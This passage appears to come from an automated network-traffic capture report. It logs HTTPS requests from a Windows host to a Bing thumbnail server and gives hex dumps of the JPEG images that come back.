ZP55%dNY>jP6p!M"t5DmM:7Qe%KU\|Hdz5v/nUjm7`n[Uy0#yu%7<E"V:d4.VfTW>DQ9up~WtpK#2YN;j;ji<ZU(`
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: c4 98 6a 98 08 d2 82 d7 43 7c 1f 0e d7 a5 99 cb 11 55 ae 57 77 eb 73 e3 2f 88 76 f3 da 7c 4b bd 4b ab 49 7f d6 f4 af 77 fd 9a 56 3d 1f e1 ee a5 7b f6 39 6e 27 bd fd df 97 2f fc b3 af 46 d6 3e 1a c7 7b ab 7f 68 dd 43 a7 fd 97 fe 59 dc cb 53 78 7f c0 f0 3c 3a 96 cb cf f4 18 e3 ff 00 46 fb 37 f7 ea ea f1 15 0c 56 16 34 9c 34 d2 e4 ff 00 ab f2 a1 8c 96 22 35 14 b9 9e dd 4e 3e d7 ed e9 a4 c7 b3 fe 7a d7 47 ae 45 3d de 87 1e ff 00 f9 67 1d 79 7f 87 f5 ab fb 8d 42 e7 4b bd 9b cb fb 35 cb f9 55 d1 fd ba 3f b2 6c 9f 52 fd dd 68 b0 72 53 52 b8 54 c6 a8 4a 50 71 f2 30 74 d5 7b 8f 13 79 09 f7 3c da fa db f6 2d b1 b7 b8 f0 47 88 34 bf f9 67 71 1b a5 7c cf e1 fd 4f 4d 8a 5d 96 bf f7 f6 bd 07 e0 7f c5 6d 27 e1 2f 89 b5 2f f8 4a e6 9a 3d 37 51 b6 7f 2f fd ea fa 5c 1d 4b Data Ascii: jC\|UWws/v\|KKIwV={9n'/F>{hCYSx<:F7V44"5N>zGE=gyBK5U?lRhrSRTJPq0t{y<-G4gq\|OM]m'//J=7Q/\K
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: db 7f 1b 4f a2 5a 46 9e 4f ef 23 ac 8f 13 6b da 96 bb 77 6d 74 f7 9e 5f 97 fb ca 2a 51 75 24 9b 7a 04 2a 56 51 e5 b5 8e ff 00 c3 9e 05 8e de d2 3f f5 df bc ab 9f 15 16 c3 4c f0 6d b5 97 9d e5 dd 7f cb 38 eb cb fc 41 f1 53 c4 3a 7c b1 d9 41 37 fd 33 aa ba c4 1a f7 88 ae ed b5 1d 46 f2 69 1e 3f de 47 44 70 2d 4e 35 2b 4b 4f 22 56 23 11 52 4e 14 e3 aa 3d 07 c1 da 0c f2 da 6f ba 86 18 fc ca de d7 2f b4 dd 2b c3 d1 e8 97 53 45 1c f7 1f ea eb c7 af bc 43 e2 cb 4b a8 ed 7c e9 64 ad 19 ec 75 2d 4e 68 ee af 7c e9 27 8e aa b6 1e 95 d4 a5 2d 3c 89 a3 1c 5b 95 9a b3 47 a8 69 5e 1a d3 53 4e 8f 67 93 e6 49 59 3e 3c bc f0 d5 bd dd b6 91 7b 0c 32 5d 49 fe aa 4a f3 eb eb ef 14 5b ea 11 da c3 0c d2 27 fc f4 ad 1d 4b 45 bb bb 9a 37 9e 1f 31 ff 00 e7 a5 64 a9 52 83 53 9c ae Data Ascii: OZFO#kwmt_Qu$zVQ?Lm8AS:\|A73Fi?GDp-N5+KO"V#RN=o/+SECK\|du-Nh\|'-<[Gi^SNgIY><{2]IJ['KE71dRS
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 5e 8b 1b 38 ee f5 69 20 49 bc bf de 79 9e 65 7a 11 92 53 9e bd 0f 3a 51 e6 82 ba d4 d6 d2 92 0d 33 56 d4 9f fd 5f db 62 79 2a 87 c3 9f 11 dd f8 52 ef fe 12 5b 2f de 49 a7 49 e6 55 8d 56 5b 1b 8b bf f4 5b cf 33 ec f1 fd 9e 4a c8 d7 20 b0 b2 d1 24 d2 e0 9b cc 92 48 bc c9 2b 4c 3d f9 8e 6a f1 52 4e 3d 12 3e f2 f8 27 e3 89 fe 28 7c 3d 8f c5 97 56 7f 67 93 fe 79 d7 43 22 d7 9f 7e c3 91 46 df b3 ac 7b 26 f3 2b d4 3e cb 5d 8e 49 33 c5 e5 51 76 4e e8 a1 b7 65 33 6d 68 79 15 5f cb a4 9a 63 2b d1 b6 ac 6d a8 b6 53 01 94 f8 d6 8d 94 fd b4 00 25 1b 68 a9 e0 8b 7d 26 ec 05 7f 2a 9b b2 af ed a6 79 55 3c e8 0a 7e 55 3b ca ab b1 ac 75 2c 7e 5a 52 e7 1a 29 47 04 94 d9 22 d9 57 f7 47 51 49 2e fa 39 c6 55 db 52 c7 05 4b 1f 97 fc 74 49 3e ca 1c ae 1a a2 2d bf be a9 63 8a a2 Data Ascii: ^8i IyezS:Q3V_byR[/IIUV[[3J $H+L=jRN=>'(\|=VgyC"~F{&+>]I3QvNe3mhy_c+mS%h}&yU<~U;u,~ZR)G"WGQI.9URKtI>-c
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 4e 6d ce 5b 9e 3b f1 09 53 fe 13 6d 4a eb fe 59 c7 59 3a 1e 91 a6 cb 34 73 f9 3f eb 2b 9c f8 e1 f1 af c3 56 9e 21 b9 ba d3 ac fe d1 04 9f bb ae 7f fe 16 ed a6 8f e1 e8 f5 78 21 f9 24 ff 00 57 1d 7c fe 27 0f 39 d5 95 ba b3 e9 28 62 54 21 15 d9 21 de 2e 5b 4f f8 4c ae 60 ff 00 9e 75 6b e1 ea c7 ff 00 09 36 c8 21 fd df 97 5e 63 7d e2 c9 fc 41 e2 cf b5 3c 3f 62 fb 47 ef 28 f0 cf c5 9f f8 47 3c 4d 25 af 93 f6 8f 2f fe 5a 54 cf 0f 27 0b 2d 4d a3 89 5c d7 b1 ed 3f f0 83 f8 79 35 0f ed 19 e2 f3 24 ff 00 59 56 3e 21 5b 49 2e 93 6d 74 90 f9 9e 5f fc f2 af 2f d4 be 36 6a 4f 0f 9e 9a 6f ee ff 00 e5 9d 55 d4 be 37 6b b6 3a 86 9b bf 4d f3 12 4f f9 67 5c 50 c1 cd cd 3b ed dc eb 96 2a 51 5a a6 75 7e 1c 7d 4b 58 f1 14 8f 3e 83 35 bc 76 f1 ff 00 ac 96 2a ee 74 78 23 d4 fc Data Ascii: Nm[;SmJYY:4s?+V!x!$W\|'9(bT!!.[OL`uk6!^c}A<?bG(G<M%/ZT'-M\?y5$YV>![I.mt_/6jOoU7k:MOg\P;QZu~}KX>5vtx#
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 3a f2 5f 1c 4b a4 e9 fa e7 db 7c 4b 79 34 76 36 ff 00 f2 ce 2f f9 69 5b de 11 7b 0b dd 26 4b ad 12 6f b4 5a dc 47 e6 47 ff 00 4c eb 97 13 87 6e 83 9d b4 36 c0 56 4b 15 05 cc dd 8f 34 b1 97 ec 5a 1e b7 3b cd 0f 99 e6 7e ee ba ff 00 85 f6 d3 bf c3 3d ef fb c9 24 ae 2f 54 f0 f4 17 7a 85 cb cf 37 fa c9 2b d2 fc 2b 17 f6 57 80 ee 6c 60 ff 00 9e 7f bb ae 5c 5d 6f 76 31 8f 7d 4f 5e 9e 1d 42 7c ec c6 92 0d 09 34 38 a7 ba d4 bc b9 3c df de 57 a0 e9 72 c1 a8 7d 9b fb 3b fd 47 97 fe b2 bc 1e 4f 0f 6a d7 7a 4c 90 59 43 f6 89 3c cf de 57 ba f8 0f 4a 93 47 f0 45 b4 cf fe bf fe 79 d6 38 89 52 50 b2 7a 99 72 55 f6 96 93 2c 78 9b c3 5f da 10 ec 79 ab 0f 4a d3 3f b1 ee ee 5f fe 79 c7 5d 24 f7 d7 6d 34 75 91 7d 69 e6 dd dc bc ff 00 f3 ce b9 aa e2 79 1c 52 66 b8 7a 2e 50 94 Data Ascii: :_K\|Ky4v6/i[{&KoZGGLn6VK4Z;~=$/Tz7++Wl`\]ov1}O^B\|48<Wr};GOjzLYC<WJGEy8RPzrU,x_yJ?_y]$m4u}iyRfz.P
2024-12-06 17:45:49 UTC	16067	IN	Data Raw: 06 0d 4a 2f b7 79 7e 5d 79 e6 9b f0 ef 5a b4 9a 39 de f2 d3 cb 8f fe 9a d6 54 9b 8c 24 a5 bb 14 39 24 95 9e c6 27 c4 a9 6e e2 d7 23 48 21 f3 20 aa fa 54 b1 a5 9c 9b eb af d6 34 1b bd 42 58 d2 19 a1 92 48 eb 06 e3 c2 fa 95 c5 dc 96 be 4f ef 23 ab 73 6a 16 67 4d 38 c1 b7 25 24 60 f8 73 4f 9e 2f 1b db 5e bf ef 20 a9 be 2f 2c 92 f8 86 39 ed 7f d5 d6 b6 97 e1 ad 76 29 63 47 ff 00 96 75 63 c5 de 13 d6 b5 3b b8 e0 d3 bc 9f fa 6b e6 d1 af b4 57 7d 2c 3a 7c 90 e6 7d 2e 79 df 82 e2 8e 2f 1b ef ff 00 59 3f 97 fe b2 b9 fb e5 8e 2f 11 5c bd ef ef 23 f3 1e bd 93 43 f0 3d a7 86 ae fe dd aa 6a 50 c9 3c 9f f3 ca 5a cd 83 e1 15 a5 f5 dc 9a a5 ee bd 0c 71 dc 49 fb a8 e2 96 bb e9 d5 7c de 47 04 a7 47 de 69 ea ce 17 47 b3 8e f7 c3 b2 4d 6b 0f 97 1c 74 ff 00 0c c1 1d de a1 1d Data Ascii: J/y~]yZ9T$9$'n#H! T4BXHO#sjgM8%$`sO/^ /,9v)cGuc;kW},:\|}.y/Y?/\#C=jP<ZqI\|GGiGMkt
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: fe 59 ff 00 cb 3a f5 39 75 4a dd 08 a3 24 9c af dc dd f0 1c f1 bf 87 a3 f3 2a 2f 18 4b be 1d f0 7f cf 3a e4 ec 6f 2e e2 d4 2d 9e 19 bc b8 ff 00 e5 a4 75 ad e2 6d 42 3b 79 b6 3c df bc b9 8e b9 fd 84 e3 55 35 ad f5 3a 69 d5 83 84 ae ed 62 af ec e7 79 69 6f 37 88 11 e6 fd fc 9b ff 00 77 5b 3f 02 1a 0b 8f 19 6a 5e 7f ee ff 00 79 5c d7 c2 4d 06 ef c3 9a e6 a5 ad ea 93 43 e4 5c 7f ab f2 ab a0 f8 5d 79 07 86 bc 43 73 ac 5e cd 69 e4 5c 49 fb b8 e5 af 5a 4d fb 59 28 f6 3e 7e 74 57 b1 7f cd cc 5f f8 a9 14 09 f1 a3 4d d9 fe ae af fe d3 51 5a 3f 81 f4 dd 9f f3 d2 b2 3c 71 aa d8 78 83 e2 15 b7 88 6c a6 86 38 ed ff 00 e5 9d 4b f1 a7 5c b0 f1 87 84 ed b4 eb 59 ad 23 7b 79 3c cf dd 56 91 96 88 e7 8e 0d ca ac 5e d6 3a ed 35 ac 3f e1 59 5b 79 13 7e f3 ec d5 c3 e9 be 42 78 Data Ascii: Y:9uJ$*/K:o.-umB;y<U5:ibyio7w[?j^y\MC\]yCs^i\IZMY(>~tW_MQZ?<qxl8K\Y#{y<V^:5?Y[y~Bx
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 23 ff 00 ab 92 4a d5 27 ca 97 56 65 cd 7d 1f 43 3a c7 cb b7 d5 be 4f f5 92 57 41 a3 cb 1f 9d f2 57 3f 62 bb f5 6d ff 00 f2 ce ba 2d 36 0f e3 4a b7 b8 93 4e ed 1e 5f e3 fb 39 2e 3c 43 24 f1 ff 00 ab 8f fd 65 72 13 2c 7f db 7e 4d af fc b4 ae d7 c7 8b 25 be b9 73 33 ff 00 ab ae 3f e1 cd e5 a6 9f f1 62 3d 53 57 fd e6 9b 5f 41 83 94 a1 09 4d 6a d2 3e 7b 31 b4 e7 18 f7 64 bf d8 b7 fa 24 3f 6d ff 00 57 05 c5 33 fb 17 56 4f 31 de 1f fa 69 5e 8d f1 6f 4f f0 db ea da 4e bd a7 6b 10 c9 a6 c9 22 79 96 5f f3 ce 9b f1 c2 f3 4d b4 9a d9 3c 35 34 32 41 73 1a 79 94 e8 66 53 aa e0 b9 5e bf 81 c1 2c 2a 8a 94 97 42 9f 83 be 11 78 a3 c6 1e 13 b9 d7 b4 e9 a1 b2 b5 b2 8f cc 93 cd ff 00 96 95 c8 e8 7a 2e a5 71 34 be 44 3f ea e4 f2 fc ca f7 1f 0a f8 e3 4d 8b e1 0c 9a 2f f6 97 d9 Data Ascii: #J'Ve}C:OWAW?bm-6JN_9.<C$er,~M%s3?b=SW_AMj>{1d$?mW3VO1i^oONk"y_M<542AsyfS^,*Bxz.q4D?M/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49818	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:48 UTC	346	OUT	GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:49 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 685668 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1E43A9A78F2749B495A57CEFB0FA8A5C Ref B: EWR30EDGE1112 Ref C: 2024-12-06T17:45:49Z Date: Fri, 06 Dec 2024 17:45:48 GMT Connection: close
2024-12-06 17:45:49 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 1c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:418
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: fe 85 5a 45 a7 2b 5c 21 45 ca c4 b7 7a ac 16 ff 00 7f f7 93 c7 ff 00 2c e2 a4 d2 b5 08 35 08 76 7e e6 39 e3 ff 00 97 69 7e 7f 92 b1 e7 82 37 9a 44 f3 bf d5 ff 00 ac ff 00 80 ff 00 76 a4 b1 59 13 4f fb 6a 43 34 72 47 27 ee e4 fe 3f f6 ab 5a b8 4a 2e 1a 3f 78 ef a4 bd 9c 92 be e6 bc 97 91 db ea 1e 45 d7 93 6f 1f fc b3 92 5f f9 69 56 bf 76 f0 fc f0 f9 9e 67 ef 3c ca a5 03 c7 71 36 fb df f5 7e 5f ef 3f b9 59 71 df 5a 45 34 89 a7 4d fe 8b ff 00 3c ff 00 db af 3a 54 69 df dd 7a a3 d0 f6 f1 a5 69 b7 ee fe 27 51 05 9a 24 df b8 ff 00 96 94 5a e9 f3 c5 37 cf 0f ee fc ba e5 75 5d 7a ed 7c b4 48 66 b7 8e 4f f5 72 7f cf 3f f7 ab 26 fa f3 ed 13 49 7b 6b ac 4d 71 e5 ff 00 ac 8f cd ff 00 eb d6 1c d2 5a 2d 2e 6b fd a5 49 bf 71 5f e6 7a 34 1a 7f fa 24 88 9e 4c 7e 5f ef 24 Data Ascii: ZE+\!Ez,5v~9i~7DvYOjC4rG'?ZJ.?xEo_iVvg<q6~_?YqZE4M<:Tizi'Q$Z7u]z\|HfOr?&I{kMqZ-.kIq_z4$L~_$
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 1a 85 b2 69 de 75 ec 71 fe f3 fb 8f f2 d1 56 bc 47 77 f6 79 a3 d4 74 bf 26 49 e3 df e5 c9 17 fb 9b b6 b5 15 c1 4f eb 15 e0 a5 4e 31 4b cf 72 ad e7 f8 1c 07 87 2f be c9 35 cc f3 f9 5e 44 92 79 91 fe f7 e7 8f 77 fb 35 af ae 6a b6 96 50 c6 f7 53 4d 24 92 7f cf 2a 77 88 fe 18 4e ff 00 e9 5a 45 e5 a4 9f f4 ce e7 e4 ff 00 c7 ab 9c f1 8f 87 b5 d8 b5 68 e0 fb 1f 99 75 24 7e 5f fa 37 dc af d1 e1 fd 9f 8b ac a5 ed 2d dd 6d d8 f0 6b 52 c6 e1 69 b8 f2 76 b3 3a 3b 5f 16 68 57 70 ec bd fd dc 91 ff 00 cb 39 65 f3 92 b7 b4 36 8e e2 ee 44 b5 d4 bc c8 fc bf dd ff 00 7e 3f f6 6b c8 e3 d3 35 a8 ae e4 d3 9f 4d bb f3 23 ff 00 59 6d 5e 9b a6 b5 da 5a 5b 24 fa 6f ef ed ff 00 d5 fe eb fd 62 57 9b 9c 65 f8 7c 34 57 d5 a5 7e 6f 35 a1 d1 80 c4 54 ac 9a a8 ac d1 af 27 97 69 a8 46 89 Data Ascii: iuqVGwyt&ION1Kr/5^Dyw5jPSM$*wNZEhu$~_7-mkRiv:;_hWp9e6D~?k5M#Ym^Z[$obWe\|4W~o5T'iF
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: fe af f7 bb d2 4f ee b4 6d 5c fe a5 ad 47 e2 0f b4 dd 5a c3 36 9d 75 7b 73 e5 c9 e6 fc f0 f9 bf ef 75 4a d8 f1 c6 af 61 ff 00 12 db a9 f4 d8 75 18 ee 3f 77 f6 29 62 f2 5f e5 ff 00 66 b9 7f 0c c5 e1 ad 33 c6 f7 da 5e a3 a3 dd c7 75 24 9f e8 d6 57 32 ba 7d 9f 77 f1 6e 4a d3 03 18 ba 53 c6 ba 6d 4e d7 b2 b7 d9 76 7a 5f f1 6a de 65 54 51 bc 61 7d 2e 6f f8 9b cb d1 f4 f8 f4 b7 bc bb bd d5 6e 2c 9f cc f3 7f d4 fc bf ec 55 7f 85 7f 67 96 d7 cf 9f ec 9f 6a ff 00 96 71 cb fe a6 3d bf dd a3 e2 a5 8e 93 a8 68 7f d9 69 a9 5d ff 00 6c 69 d2 7d a2 da 3b 9f 9f e4 ff 00 62 4d b5 57 e1 e7 86 6e de d6 c5 27 87 49 b8 ff 00 9f d8 fe d6 8f 34 9f ef ab fc 94 df d5 e7 92 ca 75 64 e3 26 f5 ba b6 dd bc 9f 43 47 c8 ab af 23 67 5c f1 b7 da 35 09 34 7b a9 a1 d2 af b4 eb 94 93 cb b9 Data Ascii: Om\GZ6u{suJau?w)b_f3^u$W2}wnJSmNvz_jeTQa}.on,Ugjq=hi]li};bMWn'I4ud&CG#g\54{
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 4d 6a aa b2 95 4e 6b 68 50 f8 43 7d a6 e9 36 92 5d 59 4d 34 93 de c8 ff 00 6d 8e 5f bf 1b ff 00 0f cd ed 54 2f bc 4d 7f 69 35 cc fa 3d 9f 99 fe 92 f2 49 fb dd 9f f0 2a e7 fc 01 e1 ab bd 43 cb ba b5 d7 a1 b7 93 cb fd e4 72 c4 fb 37 ff 00 73 ad 77 57 11 6a de 1f f8 7b 73 a7 5d 59 fe e3 e7 8e db f8 fc cd cf f3 ee ff 00 66 bb 73 1a 18 2a 19 83 52 6a a5 49 b4 9a 77 db f5 b6 c2 8d 7a b3 a2 9a d1 25 d3 a9 5e 4f 18 cf aa da 7d b6 7f 3a de 4b 7b 6f 32 49 3f 8e 3d bf c6 db 6b 4b c1 6d a9 5d 6a d1 ea f0 69 b6 92 69 b2 6f 93 ed ba 94 5f f1 f0 db 3f e5 96 ee 6b 37 f6 75 d3 e3 b7 b4 be 92 49 7e cf 25 ed cb c7 24 77 3f 3a 48 ab f7 57 67 f7 6b 53 e2 06 a1 ae e8 9e 19 fe ce fe cd bb d4 67 92 e7 cb 8f ca 87 ce 48 ff 00 ad 78 78 c8 d1 58 f9 e5 b8 58 a4 af 6d 5d ac 9e f6 5d Data Ascii: MjNkhPC}6]YM4m_T/Mi5=ICr7swWj{s]YfsRjIwz%^O}:K{o2I?=kKm]jiio_?k7uI~%$w?:HWgkSgHxxXXm]]
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: c3 1f d9 7c ef 2f fd 64 72 7f cf 4f f6 6b 6c b6 8c e7 88 f6 58 84 54 9d e3 74 c8 34 af 14 7d 9e 1f 9e 6f de 7f d7 54 4a 7d f5 e4 7a 87 88 6c 5e 08 7c cb af fa 76 97 fd 67 fb dd ab 87 b5 69 ee 35 6d 9f f3 d3 fd 5f fb f5 e9 3e 0b b6 fe c7 87 63 ff 00 af 92 4f f9 65 2f 9c 95 ee 66 34 28 61 13 a9 15 ef b5 b1 e6 61 ea 3c 4a e4 7d 19 bd e7 dd da 43 1a 4f 0c d2 49 ff 00 7d f9 74 fd 4b 4a 9e 5f 2e f7 ce 86 3f 2f fd 67 f7 24 4a 66 a5 79 3c be 5e c8 66 93 fe 7a 49 15 55 8e fb 7c de 43 c3 e6 7f d7 5f 91 ff 00 dd af 8e 84 2b 2b 4a 2a cf a9 eb 17 fe dd f6 4d 42 38 1f fd 45 c4 75 5e fa ce ed ed 24 d9 79 0f 97 27 fc f5 97 e7 aa b2 36 9b fe ae 08 66 f2 ff 00 e9 af fc b3 ff 00 be aa 8d f6 bd 1e 9f a8 47 65 3c df bb ff 00 57 fe b5 2b 4c 3e 1a a5 49 2f 63 1d 6d d7 c8 99 49 Data Ascii: \|/drOklXTt4}oTJ}zl^\|vgi5m_>cOe/f4(aa<J}COI}tKJ_.?/g$Jfy<^fzIU\|C_++J*MB8Eu^$y'6fGe<W+L>I/cmI
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 93 cd 44 78 f7 7f 12 2f f1 57 47 71 f0 b7 c2 da 0e b9 27 91 15 dd cc 77 16 de 64 71 dc cb f3 da 5c 27 f1 ee 5f bc 86 b9 ef 11 eb da 15 bf 8c a4 d6 ed 7e c9 1c 92 5b 25 bf ee a2 d9 0d 7d 95 1a d9 66 3a 8c a9 65 f4 b9 9b 57 e6 71 fc 2d f7 9c d5 b9 a0 d5 49 74 ec ce d7 c6 b2 c1 e2 5f 0f 49 e1 bd 3e 6f f8 99 59 47 e7 c7 fc 09 71 f3 d7 01 a3 b5 ff 00 86 b5 68 ed 75 ed 1e ee dd 2d e3 f3 24 8e 28 b7 bf fb 2d 50 6b 1e 2c 83 f7 77 af 0c 3f f7 f7 7f fe 3b 51 78 57 c5 57 7a 9f 8b 2d a0 d3 bf 79 ff 00 2d 3e cd e5 79 c9 f2 ff 00 75 6a b0 79 2e 2f 07 81 a9 45 c5 3a 5a b6 9d d5 9f 5d 53 fd 0e 6a 98 a5 3a aa 49 58 f4 bf 88 0d 77 e1 cf 0c d8 eb d6 b0 fd a2 0b 99 12 48 ef 62 f9 2e 7e 6f e0 f9 38 ae 5f c7 fa 2f 8a 2e ed 2d b5 44 f0 de a1 27 ee fc cb 98 e2 b4 ff 00 57 fe d3 Data Ascii: Dx/WGq'wdq\'_~[%}f:eWq-It_I>oYGqhu-$(-Pk,w?;QxWWz-y->yujy./E:Z]Sj:IXwHb.~o8_/.-D'W
2024-12-06 17:45:49 UTC	16067	IN	Data Raw: a3 bd d3 3b 25 55 ba ae 36 b9 d3 69 7a 75 df 85 f5 6b d4 92 1f b3 41 7b 1a 47 1f ef 77 a4 89 b3 fb d5 e4 f3 c1 ae f8 83 c4 da 96 89 a2 d9 ea 12 49 f3 c7 1d 97 9b fd df fc 77 6d 7a 5f 83 75 fb 4f 12 99 2c ae 7c ab cb 58 f7 c9 e5 de fc 9e 67 f0 fc cb 57 e4 b3 d3 34 1d 72 5b ad 1f fe 24 bf da 31 a4 92 79 71 3e c9 3f e0 55 d5 84 cd b1 19 7d 6a df 58 87 36 21 a5 6b ad 34 6b 56 b7 d8 52 a2 f1 0a 12 7f 0d cf 3d f0 24 b3 f8 6a 2b ed 3b 5e d3 66 8e 49 2c 92 48 ed ae 7f bf fe ef f1 2d 74 9e 15 b9 bb d1 cc 97 5a dd e4 36 53 de ff 00 c7 b5 b4 b2 f9 3f f8 f7 f0 56 bf 8d 60 b4 f1 3e 93 6d f6 ab c9 7c cd 36 e5 24 8e 49 37 a4 de 53 7f d3 5f ee d7 19 f1 0b cf d2 a6 97 cf 86 2b 6b 5f 31 3e cd 24 b2 bc c9 27 fb 35 dd 46 b5 2c de 6e 9d 48 a8 d4 9f c4 bd 36 e5 ed 7b dd 93 52 Data Ascii: ;%U6izukA{GwIwmz_uO,\|XgW4r[$1yq>?U}jX6!k4kVR=$j+;^fI,H-tZ6S?V`>m\|6$I7S_+k_1>$'5F,nH6{R
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: be 3f dd 6c 9a 39 5b f8 ab 8e 93 5a f1 67 89 74 fb 6f b7 4d f6 7b 1b 38 fc b8 e4 96 5d 90 fc bf 7b e6 fb d4 df f6 96 7d 80 96 1f 13 56 36 52 d5 b4 95 97 44 92 dc 6e 30 a3 55 4a dd 15 8f 4c f8 95 ae c9 6f a1 df 7d 8b 47 bb 8e 0b 98 fc 88 e5 b6 95 2d e2 8f fd fd df c5 58 df 03 e0 f1 4d c4 df da fa bc da 8d c5 8f 97 ff 00 1e df 23 c3 27 fd f3 5c 54 1e 21 d2 6e 2e ec 60 d6 e1 bb 8e c7 cc ff 00 59 f6 b7 74 93 fe 07 cd 7a b7 f6 d5 bd 95 9c 73 c1 0e a1 1e 9b e5 fe f3 cb 97 f7 32 7f df 5c d7 9d 99 e0 a5 96 60 16 0a 14 af 29 ef 27 e5 a5 a3 e6 fa fc 8d 63 59 d6 9d d6 85 7b 89 74 4d 33 c5 12 5d 5e c3 34 73 7f cb bd bd f6 9e 89 e4 23 7c db 19 76 e1 fd ab 92 f8 c7 a3 c7 e1 fb cb 6f 19 78 32 cf 4f b7 fb 67 ee ef 6c a3 d8 96 df 37 f1 2a e6 ba 3f 89 53 e9 be 2d d3 ec 74 Data Ascii: ?l9[ZgtoM{8]{}V6RDn0UJLo}G-XM#'\T!n.`Ytzs2\`)'cY{tM3]^4s#\|vox2Ogl7*?S-t
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: fe cd 24 51 79 d0 dd fc ff 00 c3 fe 0d 5c 3f 8f 27 4f 26 38 6e a6 f2 ef bf e5 9f 9b 17 c9 e5 7f bd 5e d7 0b c5 ac 54 9f 2d e9 4b 48 af 9d f7 eb 6e bd 8c 2b a6 e4 9b 5a bd cd cf 85 da 9f 83 21 bc b9 fb 55 9d a5 95 f7 96 fe 56 a5 27 f9 f9 1a b4 6f b5 eb ff 00 10 78 ca 38 34 7f 3a e6 ee 39 7f e5 a4 a9 e4 ff 00 f6 15 e4 16 37 32 45 a8 6c fd cf fd 34 f3 7e 44 ff 00 be bf 86 bd 27 e0 cb a4 3e 28 b9 ba 48 7e d1 27 c9 04 92 7d fb 7f 29 ff 00 87 fd ea f6 b3 ac a2 96 06 35 b1 b2 f7 df 2e 89 ea bf ce de 57 3a 30 b8 9b d3 74 dc 74 3d 6e de 5f 1c 5c 78 4f ec da a6 9b 14 77 d6 f2 79 91 c9 2f 92 fe 62 ff 00 77 6d 70 ff 00 15 75 0d 17 5a f0 6c 73 bc d1 49 7d a7 5c a4 77 3f e8 bb 1e 06 ff 00 75 b9 ae c2 df c4 76 8f 0d f6 91 1c b3 59 c7 a7 47 b3 cc f2 bf 75 1c bf f4 cb 77 Data Ascii: $Qy\?'O&8n^T-KHn+Z!UV'ox84:972El4~D'>(H~'})5.W:0tt=n_\xOwy/bwmpuZlsI}\w?uvYGuw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49815	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:48 UTC	375	OUT	GET /th?id=OADD2.10239385916954_1I0G5LQAI2SQLV5XN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
